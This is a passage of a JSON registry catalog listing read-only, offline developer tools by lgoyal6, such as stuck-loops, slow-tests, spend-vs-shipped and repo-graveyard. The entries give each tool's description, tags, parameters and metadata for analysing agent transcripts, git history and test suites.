","name":"unanswered-questions","title":"unanswered-questions","description":"An agent asks which of two approaches you want, you get pulled away, and the session ends. The question is gone, and so is whatever the agent decided to do instead. This reads the Claude Code and Codex transcripts already on this machine and finds the questions put to YOU that were never answered. Three classes: SESSION ENDED, where the last thing in the session is the agent asking; IGNORED, where the next human message plainly did not address it; and UNDECIDED, everything the structure cannot settle, which is reported and counted rather than quietly assigned to a side. A question followed by forty tool calls is an agent that decided, not one that was ignored: that rule alone took 121 of 819 candidates off the table. Nothing from a transcript leaves the report. Each question is rendered as a SHAPE against a closed allow-list of about 200 English function words, so a project name, a path or a credential can never survive rendering. Read-only, offline, no credentials, python3 stdlib only.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-observability","operations-workflows","job-agent-cost-control","tool-claude-code","tool-codex","effect-read-only","agent-sessions","session-transcripts","unanswered-question","blocked-agent","decision-debt","human-in-the-loop","question-detection","rhetorical-question-excluded","agent-decided-anyway","undecided-reported","sensitivity-analysis","false-positive-control","redacted-output","allow-list-redaction","structural-matching","self-check","independent-verify","audience-developers","audience-agent-builders","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-observability","author":"lgoyal6","version":"0.1.2","published_at":"2026-09-06T01:02:30.833756+00:00","visibility":"public","quality_score":1,"size_bytes":34917,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":4,"names":["verify","analyze","discover","selfcheck"]},"parameters":[{"name":"agent_home","type":"string","required":false,"default":"","description":"Absolute path to the home directory holding the agent transcript trees (.claude/projects for Claude Code, .codex/sessions for Codex). Empty means $HOME. A process.exec step runs in rote''s own workspace, not your shell directory, so a relative value is refused with exit 2 rather than silently scanning that workspace and reporting a confident \"nothing unanswered\".","example":"/Users/you"},{"name":"claude_dir","type":"string","required":false,"default":"","description":"Optional absolute override for the Claude Code transcript directory. Point it at the bundled resources/fixtures/claude to see a full run on the synthetic transcripts this play ships with before you point it at your own. Empty derives it from agent_home.","example":"/Users/you/.claude/projects"},{"name":"codex_dir","type":"string","required":false,"default":"","description":"Optional absolute override for the Codex session directory (resources/fixtures/codex for the bundled demo). Empty derives it from agent_home. A harness whose directory does not exist is reported as NOT PRESENT, never as zero unanswered questions.","example":"/Users/you/.codex/sessions"},{"name":"window_days","type":"string","required":false,"default":"30","description":"Only read transcripts modified within this many days. 0 reads every transcript on disk. Reading is the slow part - roughly 2.2GB of transcript takes about 40 seconds on the machine this was built on - so widen this deliberately.","example":"90"},{"name":"tightness","type":"string","required":false,"default":"standard","description":"How hard the detector looks for a question: tight (the line must also OPEN on an interrogative or read as an explicit offer), standard (the default - the agent's block must simply END on a question line of three or more words), or loose (any question line anywhere in the block, even with the agent's own prose after it). All three are computed and printed as a sensitivity grid whatever you choose, because a headline that swings with this setting is not a finding.","example":"tight"},{"name":"k_tools","type":"string","required":false,"default":"1","description":"How many tool calls after a question are enough to say the agent DECIDED rather than waited. 1 is the strict reading: it asked, then it went and did something. Raising it moves questions out of the decided class and into the report, and the grid prints the count at 1, 3, 10 and infinity so the direction is visible.","example":"3"},{"name":"top","type":"string","required":false,"default":"15","description":"Maximum findings listed in the headline table. Everything beyond this is still counted in the totals and written in full to the JSON report next to the run; only the listing is capped, and the cap is announced when it bites.","example":"25"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:e249a6beb257608c2c5e4240fd18128665f75057d008e7f6ec7242eaf9962c6f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":1,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/stuck-loops@0.1.2","reference":"lgoyal6/stuck-loops@0.1.2","uri":"https://play.modiqo.ai/lgoyal6/stuck-loops@0.1.2","manifest_uri":"https://play.modiqo.ai/lgoyal6/stuck-loops@0.1.2","name":"stuck-loops","title":"stuck-loops","description":"When a coding agent gets stuck it does not say so. It runs the same failing command again with a trivial variation, reads the same error, tries again, and every attempt is billed to you. This reads the Claude Code and Codex transcripts already on this machine and finds those loops inside a single session: a run of attempts with the same action signature, no human message between them, every one a failure, and an outcome digest that never changed. Each loop is reported with its attempt count, the tokens burned across the turns it spans, how many file edits happened without moving the error, and what finally broke it. Being fair to the agent is the other half. Retrying after the error MOVED is progress, not a loop, and neither is a wait/poll idiom whose repetition IS the idiom - excluding those alone removed 2 of 7 candidates on the corpus this was built against, and every survivor was then confirmed by hand. Read-only, offline, python3 stdlib only.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-observability","operations-workflows","job-agent-cost-control","tool-claude-code","tool-codex","effect-read-only","agent-sessions","session-transcripts","stuck-loop","repeated-tool-calls","retry-detection","outcome-unchanged","token-waste","similarity-rule","sensitivity-analysis","false-positive-control","poll-idiom-excluded","redacted-output","structural-matching","whole-token-matching","self-check","independent-verify","audience-developers","audience-agent-builders","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-observability","author":"lgoyal6","version":"0.1.2","published_at":"2026-09-06T01:02:17.419475+00:00","visibility":"public","quality_score":1,"size_bytes":43774,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":4,"names":["verify","analyze","discover","selfcheck"]},"parameters":[{"name":"agent_home","type":"string","required":false,"default":"","description":"Absolute path to the home directory holding the agent transcript trees (.claude/projects for Claude Code, .codex/sessions for Codex). Empty means $HOME. A process.exec step runs in rote''s own workspace, not your shell directory, so a relative value is refused with exit 2 rather than silently scanning the workspace and reporting a confident clean.","example":"/Users/you"},{"name":"claude_dir","type":"string","required":false,"default":"","description":"Optional absolute override for the Claude Code transcript directory. Point it at the bundled resources/fixtures/claude to see a full run on the synthetic transcripts this play ships with before you point it at your own. Empty derives it from agent_home.","example":"/Users/you/.claude/projects"},{"name":"codex_dir","type":"string","required":false,"default":"","description":"Optional absolute override for the Codex session directory (resources/fixtures/codex for the bundled demo). Empty derives it from agent_home. A harness whose directory does not exist is reported as missing, never as zero loops.","example":"/Users/you/.codex/sessions"},{"name":"window_days","type":"string","required":false,"default":"30","description":"Only read transcripts modified within this many days. 0 reads every transcript on disk. Reading is the slow part - roughly 2GB of transcript takes about 75 seconds on the machine this was built on - so widen this deliberately.","example":"90"},{"name":"level","type":"string","required":false,"default":"paths-vary","description":"Which sameness rule decides the headline: exact (whole command text identical), paths-vary (the default - only path-shaped operands may move), or flags-only (the loosest - executable, sub-verb and flag NAMES only, every operand and flag value dropped). All three are computed and printed as a sensitivity grid whatever you choose here.","example":"exact"},{"name":"outcome_rule","type":"string","required":false,"default":"default-3","description":"How much of a result has to match before two failures count as the same outcome: loose-1, default-3 or tight-6 error-shaped lines. All three are printed in the grid. Digits are never normalised away, so a shrinking failure count always reads as progress.","example":"tight-6"},{"name":"min_attempts","type":"string","required":false,"default":"3","description":"How many same-signature failing attempts make a loop. Two is a retry; three is the floor this play will call stuckness. Lowering it to 2 is a definitional change, not a threshold tweak, and roughly quadrupled the count on the corpus this was built against.","example":"4"},{"name":"max_gap","type":"string","required":false,"default":"5","description":"How many other tool calls may sit between two consecutive attempts before the run is considered broken. A human message between two attempts always breaks the run, whatever this is set to.","example":"10"},{"name":"min_tier","type":"string","required":false,"default":"signature","description":"Which failure evidence counts. labeled = only failures the harness itself flagged (Claude Code is_error, Codex \"Script failed\" or a nonzero exit line). signature = also results carrying an anchored error marker, which is the only way most Codex command failures are visible at all. Every loop is printed with the tier it rests on.","example":"labeled"},{"name":"top","type":"string","required":false,"default":"12","description":"Maximum loops listed in each ranking (by attempt count, and by tokens burned). Everything beyond this is still counted in the totals and written in full to the JSON report next to the run; only the listing is capped.","example":"20"},{"name":"top_verify","type":"string","required":false,"default":"8","description":"How many of the top-ranked loops the verify stage re-derives by an independent route - regex path-blanking instead of the tokeniser, character similarity instead of a digest - and confirms or withdraws one by one.","example":"5"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:edc5ea4e2e9f8e56f9502fe8bfce7e39961b514fb54dba55ae4074c2ef71a93c","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":1,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/spend-vs-shipped@0.1.3","reference":"lgoyal6/spend-vs-shipped@0.1.3","uri":"https://play.modiqo.ai/lgoyal6/spend-vs-shipped@0.1.3","manifest_uri":"https://play.modiqo.ai/lgoyal6/spend-vs-shipped@0.1.3","name":"spend-vs-shipped","title":"spend-vs-shipped","description":"A token dashboard tells you what your agent sessions cost. It does not tell you what came out. This joins the session records your coding agents already write to disk against the git history of the directories those sessions ran in, and sorts the spend by OUTCOME: sessions during which a commit landed, sessions whose commits were later reverted, sessions that produced no commit at all, and sessions with nothing committed over a tree that is still dirty. The matching rule is a COINCIDENCE rule, not a causal one, it is printed verbatim in the report, and everything else follows from admitting that. Spend that cannot be joined is never quietly assigned: it gets its own bucket with a reason and a percentage, and on the corpus this was built against that bucket was 38.7%. A confident 100% attribution would be a bug. The headline is also re-bucketed at a zero grace window and at six hours so you can see whether it survives the knob. Offline, no key, no agent. Needs python3, git and bash.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-observability","engineering-workflows","job-agent-spend-attribution","tool-claude-code","tool-codex","effect-read-only","agent-spend","cost-to-outcome","spend-attribution","session-transcripts","git-history","commit-attribution","wasted-spend","reverted-work","unattributed-spend","token-usage","coding-agent","attribution-honesty","audience-developers","audience-engineering-managers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-observability","author":"lgoyal6","version":"0.1.3","published_at":"2026-09-06T01:02:02.694374+00:00","visibility":"public","quality_score":1,"size_bytes":31096,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":4,"names":["verify","analyze","discover","selfcheck"]},"parameters":[{"name":"claude_root","type":"string","required":true,"description":"Absolute path to your Claude Code session store, the directory holding one folder per project","example":"/Users/you/.claude/projects"},{"name":"codex_root","type":"string","required":false,"default":"auto","description":"auto to use ~/.codex/sessions when it exists, off to skip Codex entirely, or an ABSOLUTE path to a Codex session store","example":"/Users/you/.codex/sessions"},{"name":"window_days","type":"string","required":false,"default":"0","description":"Only read transcripts modified in the last N days. 0 means everything on disk, which is the default because a full pass over 2.2GB measured about 15 seconds","example":"30"},{"name":"grace_minutes","type":"string","required":false,"default":"30","description":"How long after a session's last activity a commit still counts as that session's. The report re-runs the whole split at 0 and at 360 so you can see whether this knob is carrying the answer","example":"45"},{"name":"open_days","type":"string","required":false,"default":"7","description":"A session with no commit over a still-dirty tree counts as STILL OPEN only if it is younger than this. Older than this and it is reported as no output, because a dirty tree from months ago is not work in progress","example":"14"},{"name":"top_n","type":"string","required":false,"default":"8","description":"How many of the most expensive sessions with nothing committed to name","example":"12"},{"name":"max_shards","type":"string","required":false,"default":"8","description":"How many parallel shards to split the transcript corpus into. Shards split by project directory, never mid-project, so one session is never divided between two shards","example":"12"},{"name":"full_paths","type":"string","required":false,"default":"false","description":"Set true to print full repository paths. Off by default because a directory name can name an employer or an unannounced project","example":"true"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:f3cafe033ef7ea57454a918d5bcd8432033e3df9f1028341b0deccd878a16c73","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":1,"fan_out":8,"for_each_steps":2,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/slow-tests@1.0.3","reference":"lgoyal6/slow-tests@1.0.3","uri":"https://play.modiqo.ai/lgoyal6/slow-tests@1.0.3","manifest_uri":"https://play.modiqo.ai/lgoyal6/slow-tests@1.0.3","name":"slow-tests","title":"slow-tests","description":"Which tests eat your wall clock? This answers it WITHOUT running the suite: it never executes a test, a build or a network call, and reads only what is on disk. Three evidence classes, kept apart and never summed. MEASURED is a real clock reading parsed out of a timing artifact already in the tree: JUnit XML, a pytest-split .test_durations, a saved --durations block, jest/vitest or mocha JSON. LITERAL is arithmetic on a constant: a time.sleep(2) costs 2 seconds per execution. STRUCTURAL is a cause with no number, like a real database or a per-case fixture, printed as UNQUANTIFIED, because a made-up second is worse than an honest blank. Precision is the product: 51 self-check cases run before anything is read, and 29 are negative, each a false positive this play produced on a real repository. Fake timers make a JS setTimeout free, but freezegun does NOT stop a Python sleep blocking, and treating it as if it did is how a 30-second wait disappears. Read-only, offline, no credentials. Needs python3.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","testing-workflows","job-test-runtime-audit","tool-static-analysis","effect-read-only","slow-tests","test-runtime","test-durations","junit-xml","pytest-durations","go-test-timing","jest-report","sleep-in-tests","fixture-scope","per-test-setup","retry-backoff","test-suite-speed","ci-time","measured-vs-structural","no-suite-run-needed","audience-developers","audience-maintainers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"1.0.3","published_at":"2026-09-06T01:01:59.897182+00:00","visibility":"public","quality_score":1,"size_bytes":57289,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":4,"names":["verify","analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to the repository whose tests should be read. A relative path is refused, because a step here runs with its working directory inside rote's own workspace rather than your shell, and a relative root would report a confident empty result about a repository you never asked about.","example":"/Users/you/your-repo"},{"name":"budget_seconds","type":"string","required":false,"default":"90","description":"Wall-clock budget for the directory walk and for each analysis shard; when it runs out the run is labelled PARTIAL rather than silently short","example":"30"},{"name":"max_depth","type":"string","required":false,"default":"12","description":"How many directory levels below root to walk when looking for test sources and timing artifacts","example":"6"},{"name":"max_shards","type":"string","required":false,"default":"16","description":"Upper bound on parallel analysis shards; files are packed by total bytes so no one shard inherits a monorepo's tail","example":"4"},{"name":"verify_budget_seconds","type":"string","required":false,"default":"120","description":"Wall-clock budget for the independent verification stage; a check that runs out of time reports UNKNOWN rather than AGREED","example":"60"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:7ec35f63832a10a2ebea2ecf88b709df8684b9f84463af9c2ec14b06d5db4aef","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":1,"fan_out":8,"for_each_steps":1,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/skill-collision@0.1.2","reference":"lgoyal6/skill-collision@0.1.2","uri":"https://play.modiqo.ai/lgoyal6/skill-collision@0.1.2","manifest_uri":"https://play.modiqo.ai/lgoyal6/skill-collision@0.1.2","name":"skill-collision","title":"skill-collision","description":"Which of your installed skills compete for the same trigger, and which have never once won? This reads the active roster and cross-references it against invocation evidence from your session transcripts, through TWO independent extraction paths: the model's own Skill tool call, and a typed slash command. The second path exists because relying on the first alone reports a skill that is only ever invoked by typed command as never selected. Counting the roster correctly is half the work. Findings carry their evidence, never a bare score: DUPLICATE installations, OVERLAP on distinctive trigger words after authorship boilerplate is stripped, NEVER-SELECTED, SHADOWED (a never-selected skill overlapping one that always won), and AMBIGUOUS, where the description has no \"use when\" language at all. A SKILL.md is read only to its frontmatter delimiter, never its body. No skill is ever invoked.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-security","operations-workflows","job-agent-hygiene","tool-shell","effect-read-only","skills","claude-code","claude-skills","plugin-skills","trigger-collision","description-overlap","never-selected","shadowed-skill","ambiguous-trigger","context-cost","duplicate-installation","session-transcripts","symlink-safe","audience-developers","audience-agent-builders","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-security","author":"lgoyal6","version":"0.1.2","published_at":"2026-09-06T01:01:57.011929+00:00","visibility":"public","quality_score":1,"size_bytes":28566,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":4,"names":["survey","analyze","discover","selfcheck"]},"parameters":[{"name":"agent_home","type":"string","required":false,"default":"","description":"Absolute path to the home directory holding the harness config (.claude/skills, .claude/settings.json, .claude/plugins/installed_plugins.json, .claude/projects). Empty means $HOME. A process.exec step runs in rote''s own workspace, not your shell, so a relative value is refused with exit 2.","example":"/Users/you"},{"name":"project_root","type":"string","required":false,"default":"","description":"Optional absolute path to a project whose .claude/skills and .agents/skills should also be scanned. Found skills are reported as directory-scoped and excluded from every finding, since a machine-wide pass cannot judge whether that project is one this machine visits often. Empty skips project scanning entirely. Refused with exit 2 if given and not absolute.","example":"/Users/you/src/myproject"},{"name":"since_days","type":"string","required":false,"default":"0","description":"Only read transcript files modified within this many days. 0 reads every transcript, which is the honest default - invocation evidence is a union over sessions read, and a narrow window makes a used skill look never-selected.","example":"30"},{"name":"min_shared","type":"string","required":false,"default":"3","description":"Minimum number of shared distinctive trigger words (after stripping stopwords, corpus-common words, and cross-skill boilerplate sentences) before a pair is reported as overlapping at all.","example":"4"},{"name":"top","type":"string","required":false,"default":"40","description":"Maximum rows listed per finding category (overlap pairs, never-selected, shadowed, ambiguous, duplicate names). Every row beyond this is still counted in its category total; only the listing is capped.","example":"25"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:575fa0d12a00621153dc429d4615af50e0163aa963e040b50035b9c7f1dae5a6","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":5,"label":"git · bash"}},{"id":"https://play.modiqo.ai/lgoyal6/since-i-left@0.1.2","reference":"lgoyal6/since-i-left@0.1.2","uri":"https://play.modiqo.ai/lgoyal6/since-i-left@0.1.2","manifest_uri":"https://play.modiqo.ai/lgoyal6/since-i-left@0.1.2","name":"since-i-left","title":"since-i-left","description":"You come back to a repository after two weeks and `git log` hands you 200 commits newest-first. That is a list, not an answer, and the one thing you actually need is not in it: which of the files YOU were working on has somebody else since rewritten. That is exactly where your mental model is now wrong, and nothing else tells you. This works out when you last worked in each repository under a root, then reports only what happened after that moment. Under it: who pushed what, how far the default branch moved, and which of your branches will no longer merge - decided by running git's own `git merge-tree`, not guessed from shared filenames, because guessing was wrong 25% of the time on the 29 live branches this was built against. Collaborators appear as stable digest handles; email addresses are never printed. Each repository is printed with the age of its last fetch, since \"since you left\" really means since the last fetch. Needs git, python3 and bash. No network, no forge API, no credentials.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","engineering-workflows","job-returning-to-a-repo","tool-git","effect-read-only","context-recovery","stale-mental-model","merge-conflict-prediction","branch-divergence","identity-resolution","commit-authorship","fetch-freshness","agent-session-history","false-positive-rate","audience-developers","audience-teams","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.2","published_at":"2026-09-06T01:01:54.403474+00:00","visibility":"public","quality_score":1,"size_bytes":49917,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":4,"names":["verify","analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to the directory holding your repositories. A relative path is refused with an actionable message, because a step runs in rote's own workspace rather than your shell directory and would walk the wrong tree and report it quiet.","example":"/Users/you/code"},{"name":"window","type":"string","required":false,"default":"30","description":"How many days before your last commit count as \"what you were working on\". This is the left-hand side of the stale-path intersection and it is printed in the report, because a number this load-bearing should not be a hidden default.","example":"30"},{"name":"lookback","type":"string","required":false,"default":"365","description":"How far back to read history when locating your last commit and everybody else's. A repository whose last commit of yours is older than this is reported as out of range rather than as one you have never worked in.","example":"365"},{"name":"depth","type":"string","required":false,"default":"4","description":"How many directory levels below root to search for repositories. 1 finds root itself when root is a repository. A repository's own subdirectories are never searched for further repositories.","example":"4"},{"name":"emails","type":"string","required":false,"default":"","description":"Comma-separated git author addresses that are yours. Empty means: read each repository's effective user.email, then join further addresses by display name and by GitHub noreply handle. The value selects your commits and is never printed.","example":"you@example.com,you@work.example"},{"name":"max_repos","type":"string","required":false,"default":"400","description":"Upper bound on how many repositories are examined. Anything beyond it is reported as an explicit shortfall rather than silently dropped.","example":"400"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:26d63d76e9b3d668197696117d346d8a4a4fe6f0ee52f405bea6eaf8b7f88957","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":8,"for_each_steps":2,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/repo-graveyard@0.1.2","reference":"lgoyal6/repo-graveyard@0.1.2","uri":"https://play.modiqo.ai/lgoyal6/repo-graveyard@0.1.2","manifest_uri":"https://play.modiqo.ai/lgoyal6/repo-graveyard@0.1.2","name":"repo-graveyard","title":"repo-graveyard","description":"You have repositories you have not opened in a year, and you cannot tell which ones you can safely delete, so you delete none of them. For every cold repository under a root this reports the exact last-commit date and gap, then gives one recommendation - KEEP, ARCHIVE or DELETE - with the evidence behind it. DELETE means a second clone of an origin also held elsewhere ON THIS DISK, compared across the whole scan rather than just the cold subset, because the sibling holding the original is often the one you use daily. Ranked by unique work at risk first, then by bytes reclaimed, with an exact byte total per repo. Shallow clones are reported separately and never ranked cold: a 1-commit clone carries the same date on every file, so an age judgement there is structurally meaningless. It recommends and performs none of keep, archive or delete. It never fetches, so an unfetched remote is a claim about the past and every entry says so. File names are reported, never content. Needs git, python3, bash.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","engineering-workflows","job-repo-graveyard-triage","tool-git","effect-read-only","cold-repository","disk-cost","second-clone","keep-archive-delete","shallow-clone","license-and-readme","benchmark-evidence","scaffold-detection","empty-repository","repo-graveyard","audience-developers","audience-maintainers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.2","published_at":"2026-09-06T01:01:18.7162+00:00","visibility":"public","quality_score":1,"size_bytes":40918,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":4,"names":["verify","analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to the directory holding your repositories. A relative path is refused with an actionable message, because a step runs in rote's own workspace rather than your shell directory and would walk the wrong tree and report it clean.","example":"/Users/you/code"},{"name":"depth","type":"string","required":false,"default":"4","description":"How many directory levels below root to search for repositories. 1 finds root itself when root is a repository.","example":"4"},{"name":"cold_months","type":"string","required":false,"default":"6","description":"A repository is COLD when its newest commit is more than this many months old. Reported per repo with the exact last-commit date and the gap. A shallow (1-commit) clone can never be judged by this rule and is reported separately instead.","example":"6"},{"name":"top","type":"string","required":false,"default":"12","description":"How many ranked entries to print in full, per bucket (keep/archive/delete), before the rest become a one-line index. Every entry is still analysed and still counted.","example":"12"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:04ae55c7b7e3ab84ef6a610a4df02cb456103f792f7334f8840cdf1494d20e10","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":10,"for_each_steps":2,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/recruiter-view@0.1.2","reference":"lgoyal6/recruiter-view@0.1.2","uri":"https://play.modiqo.ai/lgoyal6/recruiter-view@0.1.2","manifest_uri":"https://play.modiqo.ai/lgoyal6/recruiter-view@0.1.2","name":"recruiter-view","title":"recruiter-view","description":"A recruiter or a hiring engineer gives your GitHub profile about thirty seconds, from the outside, before deciding. The question is not whether your repositories are good; it is whether a stranger can tell in the time they will actually give them. This reads the profile the way they do and joins three readings: the landing path (what the pinned repositories put in front of a visitor), the shop window (description, topics, licence, and the rendered FIRST SCREEN of each README under a stated cost model where a banner image costs six lines), and the evidence (tracked tests, CI, docs and benchmarks, counted by path segment). Output ends in a fix list ranked by impact times visibility over minutes, so a one-minute change to a pinned repository outranks an hour on one nobody reaches. Measured on 54 real repositories, and four rules were rewritten because they were wrong on them. gh is optional; without it the remote half becomes a labelled UNKNOWN, never a silent pass. Needs git, python3 and bash.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","engineering-workflows","job-github-profile-first-impression","tool-git","tool-gh","effect-read-only","github-profile","first-impression","readme-first-screen","above-the-fold","pinned-repositories","repository-description","repository-topics","license-presence","evidence-visibility","buried-evidence","ranked-fix-list","job-search","audience-developers","audience-job-seekers","read-only","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.2","published_at":"2026-09-06T01:01:09.546318+00:00","visibility":"public","quality_score":1,"size_bytes":48966,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":4,"names":["verify","analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to the directory holding your repository clones. A relative path is refused with an actionable message, because a step runs in rote's own workspace rather than your shell directory and would walk the wrong tree and report it clean.","example":"/Users/you/code"},{"name":"depth","type":"string","required":false,"default":"3","description":"How many directory levels below root to search for repositories. 1 finds root itself when root is a repository. Above 8 is refused.","example":"3"},{"name":"profile","type":"string","required":false,"default":"","description":"The GitHub login whose profile is being read. Left empty it is taken from gh, and failing that from the owner appearing most often in your remotes. Clones owned by anyone else are out of scope, because a profile shows what its owner published.","example":"octocat"},{"name":"top","type":"string","required":false,"default":"12","description":"How many ranked fixes to print in full before the rest become a one-line index. Every repository is still read and still 